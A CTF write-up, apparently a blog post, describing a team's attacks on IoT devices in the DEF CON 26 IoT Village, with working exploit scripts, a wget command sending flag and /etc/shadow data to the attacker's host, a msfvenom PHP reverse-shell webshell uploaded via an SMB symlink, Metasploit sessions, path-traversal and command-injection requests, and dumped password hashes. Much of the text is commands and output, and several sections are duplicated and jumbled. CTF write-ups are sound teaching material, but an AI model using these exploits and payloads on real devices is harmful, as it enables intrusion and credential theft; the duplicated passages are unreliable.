DEF CON 26 - IoT Village - SOHOpelessly Broken CTF
Welcome Thrillhouse Group competed in the SOHOpelessly Broken CTF in the IoT Village at DEF CON 26 this year. None of the actual team, aside from myself, was able to make it this year. So, I requested the help of my colleagues and "Mitch" was keen to help.
Together, we reached 14th place by the end of Saturday with 9k points.
As you can see, we had a couple issues submitting flags. For this CTF, flags were typically the MD5 of something under /dev or something like a clear text password. When our flags failed to submit, we worked with the organizers and chalked it up to someone modifying the flag files so that the MD5 would change.
These issues had no impact on our score, accomplished nothing, was a jerk-move, and as can be seen below; was against the rules:
The CTF consisted of 22 challenges based on the 22 devices seen below:
WTG successfully completed the challenges in green:
Not all of my notes were well written for this CTF, but most of our solves were a matter of finding exploits for each specific device, maybe modifying them in some way, and in a couple cases, they were a simple matter of finding default creds or even holes left open by other teams. Hey - points are points!
For this post I have three write-ups and Mitch has three write-ups. Let's start with one of mine, the Seagate SRN21C.
#!/usr/bin/env python
import os
import urllib
scheme = 'http'
host = 'personalcloud.local'
port = '80'
path = 'uploadTelemetry.psp'
querystr = 'TimeStamp=%3b'
#path = 'getLogs.psp'
#querystr = 'time_stamp=%3b'
password = 'Welcome01'
cmds = ['ngc --start sshd 2>&1',
'echo -e "%(s)s\n%(s)s"|passwd 2>&1' % {'s' : password}]
for cmd in cmds:
print 'Running command', repr(cmd)
cmd = urllib.quote_plus(cmd)
r = urllib.urlopen('%s://%s:%s/%s?%s%s' % (scheme, host, port, path, querystr, cmd))
print r.read()
print 'Log in with', password
os.system('ssh -p 2222 root@%s' % host)
I initially pointed this exploit at the device but quickly determined that it failed to work as written. To verify that any code execution was taking place at all, I started up a python webserver (# python -m SimpleHTTPServer 80) and modified the command in the exploit to make a web request for test.txt. They webserver showed the request made by the target so I knew that I had the right exploit and that I just need to tweak the command a little bit to get something meaningful out of it.
As I already had the python web server started, I changed the command to a simple for-loop that would run md5sum against the flag file and pass the value to the variable in a web request to my machine.
I did this by replacing the command defined in the "cmds" variable with the following command:
cmds = ['for i in $(md5sum /dev/mtd0);do wget http://192.168.10.164/$i;done']
For some reason, I didn't save the actual flag or any of the output from running the exploit. However, I did save the output from when I did the same thing to cat /etc/shadow and pass the output to web requests. Here's an example of what I saw for when I did that:
# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
192.168.10.4 - - [11/Aug/2018 16:03:53] code 404, message File not found
192.168.10.4 - - [11/Aug/2018 16:03:53] "GET /root:t/iQxpfIngyso:14610:0:99999:7::: HTTP/1.1" 404 -
192.168.10.4 - - [11/Aug/2018 16:03:53] code 404, message File not found
192.168.10.4 - - [11/Aug/2018 16:03:53] "GET /bin:*:12488:0:99999:7::: HTTP/1.1" 404 -
192.168.10.4 - - [11/Aug/2018 16:03:53] code 404, message File not found
192.168.10.4 - - [11/Aug/2018 16:03:53] "GET /daemon:*:12488:0:99999:7::: HTTP/1.1" 404 -
192.168.10.4 - - [11/Aug/2018 16:03:53] code 404, message File not found
192.168.10.4 - - [11/Aug/2018 16:03:53] "GET /sync:*:12488:0:99999:7::: HTTP/1.1" 404 -
192.168.10.4 - - [11/Aug/2018 16:03:54] code 404, message File not found
192.168.10.4 - - [11/Aug/2018 16:03:54] "GET /shutdown:*:12488:0:99999:7::: HTTP/1.1" 404 -
192.168.10.4 - - [11/Aug/2018 16:03:54] code 404, message File not found
192.168.10.4 - - [11/Aug/2018 16:03:54] "GET /halt:*:12488:0:99999:7::: HTTP/1.1" 404 -
192.168.10.4 - - [11/Aug/2018 16:03:54] code 404, message File not found
192.168.10.4 - - [11/Aug/2018 16:03:54] "GET /nobody:*:12488:0:99999:7::: HTTP/1.1" 404 -
192.168.10.4 - - [11/Aug/2018 16:03:54] code 404, message File not found
192.168.10.4 - - [11/Aug/2018 16:03:54] "GET /anonymous::12488:0:99999:7::: HTTP/1.1" 404 -
192.168.10.4 - - [11/Aug/2018 16:03:54] code 404, message File not found
192.168.10.4 - - [11/Aug/2018 16:03:54] "GET /messagebus:!:12488:0:99999:7::: HTTP/1.1" 404 -
192.168.10.4 - - [11/Aug/2018 16:03:54] code 404, message File not found
192.168.10.4 - - [11/Aug/2018 16:03:54] "GET /haldaemon:!:12488:0:99999:7::: HTTP/1.1" 404 -
192.168.10.4 - - [11/Aug/2018 16:03:54] code 404, message File not found
192.168.10.4 - - [11/Aug/2018 16:03:54] "GET /avahi:!:12488:0:99999:7::: HTTP/1.1" 404 -
192.168.10.4 - - [11/Aug/2018 16:03:54] code 404, message File not found
192.168.10.4 - - [11/Aug/2018 16:03:54] "GET /rainbow:!:12488:0:99999:7::: HTTP/1.1" 404 -
192.168.10.4 - - [11/Aug/2018 16:03:54] code 404, message File not found
192.168.10.4 - - [11/Aug/2018 16:03:54] "GET /admin:$6$rounds=60000$nZIwZDdxv0y0TBDs$Y8DJMo8BjQtf0WJ8i4rQhNRdkZQnW7117j3lqyou8vMTgYW5UAFOYGT9Q/s3VJok9tPGXBOX4y8oqx9bUcHbL.:12488:0:99999:7::: HTTP/1.1" 404 -
/mnt/md0/public *
# mount -t nfs 192.168.10.5:/mnt/md0/public /mnt/nfs
root@kali:~/iotctf/192.168.10.5# ls /mnt/nfs
22.php qnap test.txt XczpSGnu.so
drwxrwxrwx 3 root root 4096 Aug 11 13:32 .
drwxr-xr-x 5 root root 4096 Aug 11 00:52 ..
-rwxrwxrw- 1 man adm 20 Aug 10 18:00 22.php
drwxr-xr-x 2 1000 1000 4096 Aug 10 20:09 qnap
lrwxrwxrwx 1 root root 1 Aug 11 13:32 .tester -> /
-rwxrwxrw- 1 man adm 6 Aug 10 15:51 test.txt
-rwxrwxrw- 1 man adm 8400 Aug 10 14:04 XczpSGnu.so
WARNING: The "syslog" option is deprecated
Sharename Type Comment
--------- ---- -------
public Disk
IPC$ IPC IPC Service (TNAS-003489)
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP TNAS-003489
WARNING: The "syslog" option is deprecated
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sat Aug 11 13:32:23 2018
.. D 0 Sat Aug 11 12:17:24 2018
XczpSGnu.so A 8400 Fri Aug 10 14:04:36 2018
test.txt A 6 Fri Aug 10 15:51:14 2018
22.php A 20 Fri Aug 10 18:00:17 2018
.tester DH 0 Sat Aug 11 20:16:47 2018
qnap D 0 Fri Aug 10 20:09:39 2018
73093152 blocks of size 1024. 72649456 blocks available
smb: \> cd .tester
smb: \.tester\> ls
. D 0 Sat Aug 11 20:16:47 2018
.. D 0 Sat Aug 11 20:16:47 2018
boot D 0 Tue Jul 31 04:32:20 2018
xvar D 0 Tue Jul 31 04:31:19 2018
sbin D 0 Tue Jul 31 04:32:30 2018
opt D 0 Tue Jul 31 04:33:01 2018
etc.default D 0 Tue Jul 31 04:31:24 2018
smb: \> cd .tester\usr\www\databack\
smb: \.tester\usr\www\databack\> put 99.php
putting file 99.php as \.tester\usr\www\databack\99.php (30.2 kb/s) (average 30.2 kb/s)
msf exploit(multi/handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.0.127
LHOST => 192.168.0.127
msf exploit(multi/handler) > set LPORT 8888
LPORT => 8888
http://192.168.10.5:8181/databack/99.php
msf exploit(multi/handler) > exploit
[-] Handler failed to bind to 192.168.0.127:8888:- -
[*] Started reverse TCP handler on 0.0.0.0:8888
[*] Sending stage (37775 bytes) to 192.168.10.5
[*] Meterpreter session 1 opened (192.168.10.127:8888 -> 192.168.10.5:33660) at 2018-08-11 13:39:56 -0400
meterpreter > shell
Process 7619 created.
Channel 0 created.
id
uid=0(root) gid=0(root)
During the reconnaissance phase against this system, Nikto found a possible directory traversal vulnerability to read local files:
Here’s how I got a low privileged shell on QNAP-TS-453A.lan (192.168.20.3).
uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)
Linux TARGET 3.12.6 #1 SMP Mon Feb 13 01:43:01 CST 2017 x86_64 unknown
Content-type: text/html; charset="UTF-8"
At this point I had a low priv shell and acquired the credentials to login to the admin web interface. I proxied a request for the same URI found in the exploit, for my authenticated session, through burp which gave me the value for SIDVALUE. I tried my valid SIDVALUE with the exploit but I could not get the system to return the id command's output.
One thing stuck out to me was that my intercepted requests had almost the same parameters in the request than what's shown in the exploit using curl. I believe I was actually missing one entirely but either way - I needed to update the exploit to reflect what I was seeing in burp. Unfortunately at this point, time ran out and neither of us could resume the CTF on Sunday so we were done.
In the end, almost all of our progress was made on Saturday. On Friday, the network was slow, I got deauthed a bunch from the wireless, and it was crowded and noisy. I ended up going back to my hotel room and performed recon on all of the listed devices from a different connection.
I listed out default credentials for each device and a list of related exploits for every device I could find. In some cases I even had notes on admin guides and where we could download device firmware.
Most of that offline work was not necessary. Once Saturday rolled around we resumed active scanning and testing and made significant progress in just a few hours.
Together, we reached 14th place by the end of Saturday with 9k points.
WTG's Score by End of Saturday
As you can see, we had a couple issues submitting flags. For this CTF, flags were typically the MD5 of something under /dev or something like a clear text password. When our flags failed to submit, we worked with the organizers and chalked it up to someone modifying the flag files so that the MD5 would change.
These issues had no impact on our score, accomplished nothing, was a jerk-move, and as can be seen below; was against the rules:
IoT CTF Rules and Hints
The CTF consisted of 22 challenges based on the 22 devices seen below:
IoT CTF Device Challenges
WTG successfully completed the challenges in green:
Challenges Completed by WTG
Not all of my notes were well written for this CTF, but most of our solves were a matter of finding exploits for each specific device, maybe modifying them in some way, and in a couple cases, they were a simple matter of finding default creds or even holes left open by other teams. Hey - points are points!
For this post I have three write-ups and Mitch has three write-ups. Let's start with one of mine, the Seagate SRN21C.
Seagate SRN21C
After some searching, I found https://www.exploit-db.com/exploits/43659/ which had an interesting exploit:#!/usr/bin/env python
import os
import urllib
scheme = 'http'
host = 'personalcloud.local'
port = '80'
path = 'uploadTelemetry.psp'
querystr = 'TimeStamp=%3b'
#path = 'getLogs.psp'
#querystr = 'time_stamp=%3b'
password = 'Welcome01'
cmds = ['ngc --start sshd 2>&1',
'echo -e "%(s)s\n%(s)s"|passwd 2>&1' % {'s' : password}]
for cmd in cmds:
print 'Running command', repr(cmd)
cmd = urllib.quote_plus(cmd)
r = urllib.urlopen('%s://%s:%s/%s?%s%s' % (scheme, host, port, path, querystr, cmd))
print r.read()
print 'Log in with', password
os.system('ssh -p 2222 root@%s' % host)
I initially pointed this exploit at the device but quickly determined that it failed to work as written. To verify that any code execution was taking place at all, I started up a python webserver (# python -m SimpleHTTPServer 80) and modified the command in the exploit to make a web request for test.txt. They webserver showed the request made by the target so I knew that I had the right exploit and that I just need to tweak the command a little bit to get something meaningful out of it.
As I already had the python web server started, I changed the command to a simple for-loop that would run md5sum against the flag file and pass the value to the variable in a web request to my machine.
cmds = ['for i in $(md5sum /dev/mtd0);do wget http://192.168.10.164/$i;done']
For some reason, I didn't save the actual flag or any of the output from running the exploit. However, I did save the output from when I did the same thing to cat /etc/shadow and pass the output to web requests. Here's an example of what I saw for when I did that:
# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
192.168.10.4 - - [11/Aug/2018 16:03:53] code 404, message File not found
192.168.10.4 - - [11/Aug/2018 16:03:53] "GET /root:t/iQxpfIngyso:14610:0:99999:7::: HTTP/1.1" 404 -
192.168.10.4 - - [11/Aug/2018 16:03:53] code 404, message File not found
192.168.10.4 - - [11/Aug/2018 16:03:53] "GET /bin:*:12488:0:99999:7::: HTTP/1.1" 404 -
192.168.10.4 - - [11/Aug/2018 16:03:53] code 404, message File not found
192.168.10.4 - - [11/Aug/2018 16:03:53] "GET /daemon:*:12488:0:99999:7::: HTTP/1.1" 404 -
192.168.10.4 - - [11/Aug/2018 16:03:53] code 404, message File not found
192.168.10.4 - - [11/Aug/2018 16:03:53] "GET /sync:*:12488:0:99999:7::: HTTP/1.1" 404 -
192.168.10.4 - - [11/Aug/2018 16:03:54] code 404, message File not found
192.168.10.4 - - [11/Aug/2018 16:03:54] "GET /shutdown:*:12488:0:99999:7::: HTTP/1.1" 404 -
192.168.10.4 - - [11/Aug/2018 16:03:54] code 404, message File not found
192.168.10.4 - - [11/Aug/2018 16:03:54] "GET /halt:*:12488:0:99999:7::: HTTP/1.1" 404 -
192.168.10.4 - - [11/Aug/2018 16:03:54] code 404, message File not found
192.168.10.4 - - [11/Aug/2018 16:03:54] "GET /nobody:*:12488:0:99999:7::: HTTP/1.1" 404 -
192.168.10.4 - - [11/Aug/2018 16:03:54] code 404, message File not found
192.168.10.4 - - [11/Aug/2018 16:03:54] "GET /anonymous::12488:0:99999:7::: HTTP/1.1" 404 -
192.168.10.4 - - [11/Aug/2018 16:03:54] code 404, message File not found
192.168.10.4 - - [11/Aug/2018 16:03:54] "GET /messagebus:!:12488:0:99999:7::: HTTP/1.1" 404 -
192.168.10.4 - - [11/Aug/2018 16:03:54] code 404, message File not found
192.168.10.4 - - [11/Aug/2018 16:03:54] "GET /haldaemon:!:12488:0:99999:7::: HTTP/1.1" 404 -
192.168.10.4 - - [11/Aug/2018 16:03:54] code 404, message File not found
192.168.10.4 - - [11/Aug/2018 16:03:54] "GET /avahi:!:12488:0:99999:7::: HTTP/1.1" 404 -
192.168.10.4 - - [11/Aug/2018 16:03:54] code 404, message File not found
192.168.10.4 - - [11/Aug/2018 16:03:54] "GET /rainbow:!:12488:0:99999:7::: HTTP/1.1" 404 -
192.168.10.4 - - [11/Aug/2018 16:03:54] code 404, message File not found
192.168.10.4 - - [11/Aug/2018 16:03:54] "GET /admin:$6$rounds=60000$nZIwZDdxv0y0TBDs$Y8DJMo8BjQtf0WJ8i4rQhNRdkZQnW7117j3lqyou8vMTgYW5UAFOYGT9Q/s3VJok9tPGXBOX4y8oqx9bUcHbL.:12488:0:99999:7::: HTTP/1.1" 404 -
Terramaster FS-420
The writeup for this challenge was completed by Mitch. It is a clean, step-by-step, guide for solving this challenge. I think I'm going to steal this format for future posts.[1] NFS Open Share
# showmount -e 192.168.10.5Export list for 192.168.10.5:/mnt/md0/public *
# mount -t nfs 192.168.10.5:/mnt/md0/public /mnt/nfs
root@kali:~/iotctf/192.168.10.5# ls /mnt/nfs
22.php qnap test.txt XczpSGnu.so
[2] Create Symlink to /
/mnt/nfs# ln -s / ./.tester# ls -altotal 36drwxrwxrwx 3 root root 4096 Aug 11 13:32 .
drwxr-xr-x 5 root root 4096 Aug 11 00:52 ..
-rwxrwxrw- 1 man adm 20 Aug 10 18:00 22.php
drwxr-xr-x 2 1000 1000 4096 Aug 10 20:09 qnap
lrwxrwxrwx 1 root root 1 Aug 11 13:32 .tester -> /
-rwxrwxrw- 1 man adm 6 Aug 10 15:51 test.txt
-rwxrwxrw- 1 man adm 8400 Aug 10 14:04 XczpSGnu.so
[3] SMB Open Share
# smbclient -L //192.168.10.5/ -U "%"WARNING: The "syslog" option is deprecated
Sharename Type Comment
--------- ---- -------
public Disk
IPC$ IPC IPC Service (TNAS-003489)
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP TNAS-003489
[4] Accessing / via Symlink
# smbclient //192.168.10.5/public -U "%"WARNING: The "syslog" option is deprecated
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sat Aug 11 13:32:23 2018
.. D 0 Sat Aug 11 12:17:24 2018
XczpSGnu.so A 8400 Fri Aug 10 14:04:36 2018
test.txt A 6 Fri Aug 10 15:51:14 2018
22.php A 20 Fri Aug 10 18:00:17 2018
.tester DH 0 Sat Aug 11 20:16:47 2018
qnap D 0 Fri Aug 10 20:09:39 2018
73093152 blocks of size 1024. 72649456 blocks available
smb: \> cd .tester
smb: \.tester\> ls
. D 0 Sat Aug 11 20:16:47 2018
.. D 0 Sat Aug 11 20:16:47 2018
boot D 0 Tue Jul 31 04:32:20 2018
xvar D 0 Tue Jul 31 04:31:19 2018
sbin D 0 Tue Jul 31 04:32:30 2018
opt D 0 Tue Jul 31 04:33:01 2018
etc.default D 0 Tue Jul 31 04:31:24 2018
[5] Build and upload PHP webshell
# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.10.127 LPORT=8888 -o 99.phpsmb: \> cd .tester\usr\www\databack\
smb: \.tester\usr\www\databack\> put 99.php
putting file 99.php as \.tester\usr\www\databack\99.php (30.2 kb/s) (average 30.2 kb/s)
[6] Launch a shell
msf > use exploit/multi/handlermsf exploit(multi/handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.0.127
LHOST => 192.168.0.127
msf exploit(multi/handler) > set LPORT 8888
LPORT => 8888
http://192.168.10.5:8181/databack/99.php
msf exploit(multi/handler) > exploit
[-] Handler failed to bind to 192.168.0.127:8888:- -
[*] Started reverse TCP handler on 0.0.0.0:8888
[*] Sending stage (37775 bytes) to 192.168.10.5
[*] Meterpreter session 1 opened (192.168.10.127:8888 -> 192.168.10.5:33660) at 2018-08-11 13:39:56 -0400
meterpreter > shell
Process 7619 created.
Channel 0 created.
id
uid=0(root) gid=0(root)
[7] Flag: but not accepted
# this was resolved by the IoT staff. Our exploit was acceptable and would have resulted in the correct MD5 had the flag file not been altered.
Giovision GV-SNVR
The flag for this challenge was the cleartext password for the root account.
During the reconnaissance phase against this system, Nikto found a possible directory traversal vulnerability to read local files:
- Nikto v2.1.6/2.1.5
+ Target Host: 192.168.10.7
+ Target Port: 80
+ GET The anti-clickjacking X-Frame-Options header is not present.
+ GET The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ GET The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ GET /../../../../../../../../../../etc/passwd: It is possible to read files on the server by adding ../ in front of file name.
<SNIP>
<SNIP>
I first tried this in the browser but I couldn’t get /etc/shadow, /etc/passwd, or any other files to display no matter how I encoded the traversal. I got sick of messing with this in a browser so I switched to burp repeater.
It was there I found that the LFI worked and I was able to display /etc/shadow.
Here is how the request and response looked:
GET /../../../../../../../../../../etc/shadow HTTP/1.1
Host: 192.168.10.7
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: ocx==false; GEO_LANGUAGE=EN
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 117
Cache-Control: max-age=3600
Connection: close
root:$1$0dJv11NZ$78q7zYZKbfLKNoQdRPERX/:15506:0:99999:7:::
stb:$1$hYn82l9l$RjfvPDf2QHjx7je/6hlRH1:15506:0:99999:7:::
At this point, I sent the hash to john which did not return a password.
At this point, I sent the hash to john which did not return a password.
# john hash_root_10.7
Warning: detected hash type "md5crypt", but the string is also recognized as "aix-smd5"
Use the "--format=aix-smd5" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
(root)
In a moment of frustration and submitted an empty password as the flag, and to my surprise it was accepted!
Tricky-Tricky.
Tricky-Tricky.
QNAP TS-131P
I solved this challenge by using a metasploit module. Here were the steps I took to solve this one:
msf exploit(qnap_transcode_server) > options
Module options (exploit/linux/misc/qnap_transcode_server):
Name Current Setting Required Description
---- --------------- -------- -----------
DELAY 30 yes How long to wait for the device to download the payload
RHOST 192.168.10.8 yes The target address
RPORT 9251 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8181 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (linux/armle/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.10.164 yes The listen address
LPORT 666 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(qnap_transcode_server) > run
[*] Started reverse TCP handler on 192.168.10.164:666
[*] 192.168.10.8:9251 - Using URL: http://0.0.0.0:8181/gy4wRXY
[*] 192.168.10.8:9251 - Local IP: http://192.168.10.164:8181/gy4wRXY
[*] 192.168.10.8:9251 - Sent command successfully (57 bytes)
[*] 192.168.10.8:9251 - Waiting for the device to download the payload (30 seconds)...
[*] 192.168.10.8:9251 - Sent command successfully (22 bytes)
[*] 192.168.10.8:9251 - Sent command successfully (13 bytes)
[*] 192.168.10.8:9251 - Sent command successfully (19 bytes)
[*] 192.168.10.8:9251 - Command Stager progress - 100.00% done (114/114 bytes)
[*] Meterpreter session 9 opened (192.168.10.164:666 -> 192.168.10.8:58368) at 2018-08-11 17:27:58 -0400
[*] 192.168.10.8:9251 - Server stopped.
meterpreter > shell
Process 29792 created.
Channel 1 created.
md5sum /dev/mtd5
a9f320d430d444aa770fbd69335e8636 /dev/mtd5
D-Link DIR-865L
Mitch found and worked the exploit for this challenge. Here is his writeup:
http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/
root@kali:~/iotctf/192.168.10.9# ./exploit.py 192.168.10.9
Exploit sent, try telnetting to 192.168.10.9:80!
To dump all system settings, run (no quotes): 'xmldbc -d /var/config.xml; cat /var/config.xml'
root@kali:~/iotctf/192.168.10.9# telnet 192.168.10.9 80
Trying 192.168.10.9...
Connected to 192.168.10.9.
Escape character is '^]'.
BusyBox v1.14.1 (2012-11-02 11:38:42 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.
# id
id: not found
# cat /etc/shadow
root:!:10956:0:99999:7:::
nobody:!:10956:0:99999:7:::
Admin:snXjUKrsIdt0g:10956:0:99999:7:::
# openssl md5 /dev/mtd0
md5sum /dev/mtdMD5(/dev/mtd0)= 950ebd2ff4e577fe6adcecac309d120e
# openssl md5 /dev/mtd0
MD5(/dev/mtd0)= 950ebd2ff4e577fe6adcecac309d120e
Nuuo NVRmini 2 DVR
WTG's only 2k point solve, completed and written up by Mitch:
# ./exdb40209.py 192.168.20.5 80
[*] ==============================================
[*] NUUO NVR/DVR/NDVR Remote Root Exploit
[*] Zero Science Lab - http://www.zeroscience.mk
[*] ==============================================
[*] Backdoor detected!
[*] Add root user (y/n)? n
[*] Press [ ENTER ] to start root shell...
root@nuuo:~# id
uid=0(root) gid=0(root)
root@nuuo:~# md5sum /dev/mtd5
499e8f00a7e0c19769b6496fce7c1b44 /dev/mtd5
root@nuuo:~# cat /etc/shadow
#root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
root:$1$fUSSpipn$gzLDBEMRbKKgXaA7QPaFd0:16293:0:99999:7:::
bin:*:14495:0:99999:7:::
daemon:*:14495:0:99999:7:::
adm:*:14495:0:99999:7:::
lp:*:14495:0:99999:7:::
sync:*:14495:0:99999:7:::
shutdown:*:14495:0:99999:7:::
halt:*:14495:0:99999:7:::
mail:*:14495:0:99999:7:::
uucp:*:14495:0:99999:7:::
operator:*:14495:0:99999:7:::
games:*:14495:0:99999:7:::
gopher:*:14495:0:99999:7:::
ftp:*:14495:0:99999:7:::
nobody:*:14495:0:99999:7:::
vcsa:!!:14564::::::
sshd:!!:14564::::::
guest::14564:0:99999:7:::
admin:$1$0UKCXdho$YmfUtIYVqRJ/qR9W0VH5d0:16248:0:99999:7:::
roOt:$1$MJOnV/Y3$tDnMIBMy0lEQ2kDpfgTJP0:16914:0:99999:7:::
roOt:$1$MJOnV/Y3$tDnMIBMy0lEQ2kDpfgTJP0:16914:0:99999:7:::
roOt:$1$MJOnV/Y3$tDnMIBMy0lEQ2kDpfgTJP0:16914:0:99999:7:::
roOt:$1$MJOnV/Y3$tDnMIBMy0lEQ2kDpfgTJP0:16914:0:99999:7:::
roOt:$1$MJOnV/Y3$tDnMIBMy0lEQ2kDpfgTJP0:16914:0:99999:7:::
roOt:$1$MJOnV/Y3$tDnMIBMy0lEQ2kDpfgTJP0:16914:0:99999:7:::
roOt:$1$MJOnV/Y3$tDnMIBMy0lEQ2kDpfgTJP0:16914:0:99999:7:::
roOt:$1$MJOnV/Y3$tDnMIBMy0lEQ2kDpfgTJP0:16914:0:99999:7:::
roOt:$1$MJOnV/Y3$tDnMIBMy0lEQ2kDpfgTJP0:16914:0:99999:7:::
roOt:$1$MJOnV/Y3$tDnMIBMy0lEQ2kDpfgTJP0:16914:0:99999:7:::
roOt:$1$MJOnV/Y3$tDnMIBMy0lEQ2kDpfgTJP0:16914:0:99999:7:::
roOt:$1$MJOnV/Y3$tDnMIBMy0lEQ2kDpfgTJP0:16914:0:99999:7:::
roOt:$1$MJOnV/Y3$tDnMIBMy0lEQ2kDpfgTJP0:16914:0:99999:7:::
roOt:$1$MJOnV/Y3$tDnMIBMy0lEQ2kDpfgTJP0:16914:0:99999:7:::
(snip)
roOt:$1$MJOnV/Y3$tDnMIBMy0lEQ2kDpfgTJP0:16914:0:99999:7:::
roOt:$1$MJOnV/Y3$tDnMIBMy0lEQ2kDpfgTJP0:16914:0:99999:7:::
bbb:$1$iCCC2i3x$HpGpwXAycFRur8owe/6Zv.:16294:0:99999:7:::
roOt:$1$MJOnV/Y3$tDnMIBMy0lEQ2kDpfgTJP0:16914:0:99999:7:::
(snip)
roOt:$1$MJOnV/Y3$tDnMIBMy0lEQ2kDpfgTJP0:16914:0:99999:7:::
roOt:$1$MJOnV/Y3$tDnMIBMy0lEQ2kDpfgTJP0:16914:0:99999:7:::
testteam:$1$MJOnV/Y3$tDnMIBMy0lEQ2kDpfgTJP0:16914:0:99999:7:::
roOt:$1$MJOnV/Y3$tDnMIBMy0lEQ2kDpfgTJP0:16914:0:99999:7:::
root@nuuo:~# cat /etc/passwd
root:$1$6197SN0q$XvwQOJNE6hv9LE.qu4Lgb1:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:499:virtual console memory owner:/dev:/sbin/nologin
sshd:x:74:498:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
guest:x:500:500:Guest User:/:/bin/bash
admin:x:600:600:admin User:/var:/sbin/nologin
roOt:x:0:0:PWNED account:/:/bin/bash
(snip)
roOt:x:0:0:PWNED account:/:/bin/bash
roOt:x:0:0:PWNED account:/:/bin/bash
bbb:x:1000:1000:Linux User,,,:/home/bbb:/bin/sh
roOt:x:0:0:PWNED account:/:/bin/bash
(snip)
roOt:x:0:0:PWNED account:/:/bin/bash
testteam:x:0:0:PWNED account:/:/bin/bash
roOt:x:0:0:PWNED account:/:/bin/bash
root@nuuo:~# exit
[*] Removing raidh.php file
[*] Session terminated!
QNAP TS-453
This one is an honorable mention because I, sadly, was not able to solve this one by the end of Saturday. I did obtain a low priv shell on the target and almost pulled off the priv esc but there is no partial credit in CTFs!Here’s how I got a low privileged shell on QNAP-TS-453A.lan (192.168.20.3).
Following the very same process that Mitch used against the FS-420, I connected to the devices smb shares, loaded a webshell on it and got the web server to run it. That gave me a meterpreter session on the target.
uname -a
Linux NAS10CA01 3.19.8 #1 SMP Fri Mar 11 06:05:08 CST 2016 x86_64 unknown
whoami
httpdusr
Shortly after obtaining this shell, I found the privilege escalation exploit here:
https://www.exploit-db.com/exploits/41842/
Here's the interesting bit:
$ curl -ki 'https://TARGET/cgi-bin/userConfig.cgi?func=cloudPersonalSmtp&sid=SIDVALUE&hash=`(echo;id;uname%20-a)>%262`'
https://www.exploit-db.com/exploits/41842/
Here's the interesting bit:
$ curl -ki 'https://TARGET/cgi-bin/userConfig.cgi?func=cloudPersonalSmtp&sid=SIDVALUE&hash=`(echo;id;uname%20-a)>%262`'
HTTP/1.1 200 OK
Date: Sun, 26 Feb 2017 22:55:48 GMT
Transfer-Encoding: chunked
Content-Type: text/plain
Transfer-Encoding: chunked
Content-Type: text/plain
uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)
Linux TARGET 3.12.6 #1 SMP Mon Feb 13 01:43:01 CST 2017 x86_64 unknown
Content-type: text/html; charset="UTF-8"
At this point I had a low priv shell and acquired the credentials to login to the admin web interface. I proxied a request for the same URI found in the exploit, for my authenticated session, through burp which gave me the value for SIDVALUE. I tried my valid SIDVALUE with the exploit but I could not get the system to return the id command's output.
One thing stuck out to me was that my intercepted requests had almost the same parameters in the request than what's shown in the exploit using curl. I believe I was actually missing one entirely but either way - I needed to update the exploit to reflect what I was seeing in burp. Unfortunately at this point, time ran out and neither of us could resume the CTF on Sunday so we were done.
In the end, almost all of our progress was made on Saturday. On Friday, the network was slow, I got deauthed a bunch from the wireless, and it was crowded and noisy. I ended up going back to my hotel room and performed recon on all of the listed devices from a different connection.
I listed out default credentials for each device and a list of related exploits for every device I could find. In some cases I even had notes on admin guides and where we could download device firmware.
Most of that offline work was not necessary. Once Saturday rolled around we resumed active scanning and testing and made significant progress in just a few hours.
WTG's Score Over Time
Both Mitch and I left Defcon early Sunday morning and so we were unable to find and submit any last minute flags.
